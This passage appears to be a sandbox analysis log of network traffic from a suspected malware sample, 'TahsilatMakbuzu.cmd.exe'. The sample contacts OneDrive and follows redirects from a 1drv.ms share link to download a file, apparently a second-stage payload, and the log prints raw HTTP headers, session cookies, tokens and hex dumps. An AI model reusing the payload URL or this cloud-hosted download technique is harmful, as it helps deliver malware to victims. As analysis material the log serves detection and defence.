BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODkyLCJuYmYiOjE3MjAxMTcwOTIsImdpdmVuX25hbWUiOiIyMiIsImZhbWlseV9uYW1lIjoiRWFnbGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJlMWQ0NzhhMDQxNGIyY2I2OTNjMTM2OGNmYmZkMTNlNyIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDkyfQ.Z70DoX9E07C0JLQOxVji5wkHB77Q-e9xgZGzc1d7TbfyF1IRMo7dLgv8TLOLXmWofr_tIABy01v9D3eJ7DtbfFytrl__nV-RqgrvitCve88-WEku1rbRstuuzjUIbdwXn53NrG_2s41obCO6Exe4S6efslKKxWexcRLq2NHby1J9LwOuhvdYRJ1LqZcJoKNcNcEtjKmPMARqvXfl2VDLySVF040OdmggLYZ1gn5PmRqfIKE2Oro9IBTV-DOCLZ2SkqlLTSHYgYBCBuvPt4fOtVY8niYybT2pr3dE9YAKyZgnHeDWogBYNa1jZoesIbjkFm0ihulVEY_DrFdZajiu0A; E=P:kXhTqlWc3Ig=:gwLO8twkpWshtFRNVc2YM0B2/4PcZF4tlNf/6aBEUlo=:F; xid=eaa721a7-6761-47d0-96c0-1afcc29c76 [TRUNCATED]
2024-07-04 18:18:13 UTC	1925	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205869 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,23743,0,108975,46 X-SharePointHealthScore: 0 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 4b1239a1-10d8-5000-f0ce-a2b253ba867a request-id: 4b1239a1-10d8-5000-f0ce-a2b253ba867a MS-CV: oTkSS9gQAFDwzqKyU7qGeg.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 37 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 70B5E55E4F9E4C608AC119AD869EC87E Ref B: BN3EDGE0509 Ref C: 2024-07-04T18:18:13Z Date: Thu, 04 Jul 2024 18:18:13 GMT Connection: close
2024-07-04 18:18:13 UTC	2218	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:18:13 UTC	8192	IN	Data Raw: 31 34 36 31 39 30 34 2c 2d 32 30 31 33 31 33 34 37 31 32 2c 39 38 39 35 34 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c Data Ascii: 1461904,-2013134712,98954,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,
2024-07-04 18:18:13 UTC	4167	IN	Data Raw: 30 43 2d 34 33 32 46 2d 39 37 31 46 2d 42 35 42 43 44 34 41 38 38 38 35 32 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 Data Ascii: 0C-432F-971F-B5BCD4A88852":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76
2024-07-04 18:18:13 UTC	8192	IN	Data Raw: 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 Data Ascii: ,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD267
2024-07-04 18:18:13 UTC	8192	IN	Data Raw: 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 Data Ascii: ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":tru
2024-07-04 18:18:13 UTC	8192	IN	Data Raw: 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 Data Ascii: 4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF44
2024-07-04 18:18:13 UTC	8192	IN	Data Raw: 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 Data Ascii: A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E
2024-07-04 18:18:14 UTC	8192	IN	Data Raw: 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 Data Ascii: 2955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-85
2024-07-04 18:18:14 UTC	8192	IN	Data Raw: 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 Data Ascii: true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F7
2024-07-04 18:18:14 UTC	8192	IN	Data Raw: 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 Data Ascii: A8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49853	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:14 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:14 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BN7PPF4F934922E Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: Va5gV4t+4UmmBX7WWKUtPw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 11EF1B1D3CDB402EAB06D347C024F6F4 Ref B: EWR30EDGE1015 Ref C: 2024-07-04T18:18:14Z Date: Thu, 04 Jul 2024 18:18:14 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49854	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:15 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:18:16 UTC	2220	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:254+rFWc3Ig=:/6IM2RoWuCCwUeJNNVbO9XiTtuWYRPF61YOtmAM50m8=:F; domain=.live.com; path=/ Set-Cookie: xid=77591dcf-37d0-4018-9ef8-22435e9981af&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:38:15 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODk1LCJuYmYiOjE3MjAxMTcwOTUsImdpdmVuX25hbWUiOiIxMiIsImZhbWlseV9uYW1lIjoiQ295b3RlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYmZhNTc4Njk1NTdiNjA0YzIwMWY2ZWJmZGJjMzI4YzYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA5NX0.H2432H6DxZBc8h7VFQ7iQLq1XFbjgXmhQavar0D-3H4dEWJ4VhMG5USX7rAJhhC9swAAJrP2qLR-4kKR63uM91ZdtLtHqFvV9IfhacV_EdzDyy4RlDE3ymmUO3SNoirjkUTs0mRAYKgrLD21sHIQqO8zN2LosIY1FjBG9W1hyzrleM3VfWEZ5IUu1WbNqgqdPyFYUoLoxvrYuXfz3Eg0XKf7s3PFd8F8ZJawgbF_YwLMvNrsbxanEESv_wVdKJTBuYr-rS3RIUGpqEme2waON3E846jtFqB3X-tlQyHTW8pTMF5ukZX-I1SE6KsgTMjcTGzPrFhZ6f_NqGBXbI4Mlw; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:18:16 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-jsvk5 X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1F6F7726E6FB4DF992EC0999C5FB3EDE Ref B: BN3EDGE0604 Ref C: 2024-07-04T18:18:15Z Date: Thu, 04 Jul 2024 18:18:15 GMT Connection: close
2024-07-04 18:18:16 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49856	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:16 UTC	1280	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODk1LCJuYmYiOjE3MjAxMTcwOTUsImdpdmVuX25hbWUiOiIxMiIsImZhbWlseV9uYW1lIjoiQ295b3RlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYmZhNTc4Njk1NTdiNjA0YzIwMWY2ZWJmZGJjMzI4YzYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA5NX0.H2432H6DxZBc8h7VFQ7iQLq1XFbjgXmhQavar0D-3H4dEWJ4VhMG5USX7rAJhhC9swAAJrP2qLR-4kKR63uM91ZdtLtHqFvV9IfhacV_EdzDyy4RlDE3ymmUO3SNoirjkUTs0mRAYKgrLD21sHIQqO8zN2LosIY1FjBG9W1hyzrleM3VfWEZ5IUu1WbNqgqdPyFYUoLoxvrYuXfz3Eg0XKf7s3PFd8F8ZJawgbF_YwLMvNrsbxanEESv_wVdKJTBuYr-rS3RIUGpqEme2waON3E846jtFqB3X-tlQyHTW8pTMF5ukZX-I1SE6KsgTMjcTGzPrFhZ6f_NqGBXbI4Mlw; E=P:254+rFWc3Ig=:/6IM2RoWuCCwUeJNNVbO9XiTtuWYRPF61YOtmAM50m8=:F; xid=77591dcf-37d0-4018-9ef8-22435e998 [TRUNCATED]
2024-07-04 18:18:17 UTC	1926	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,36,40194,0,368515,17 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 4c1239a1-60a1-5000-e92c-0ec2b19cea5a request-id: 4c1239a1-60a1-5000-e92c-0ec2b19cea5a MS-CV: oTkSTKFgAFDpLA7CsZzqWg.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft 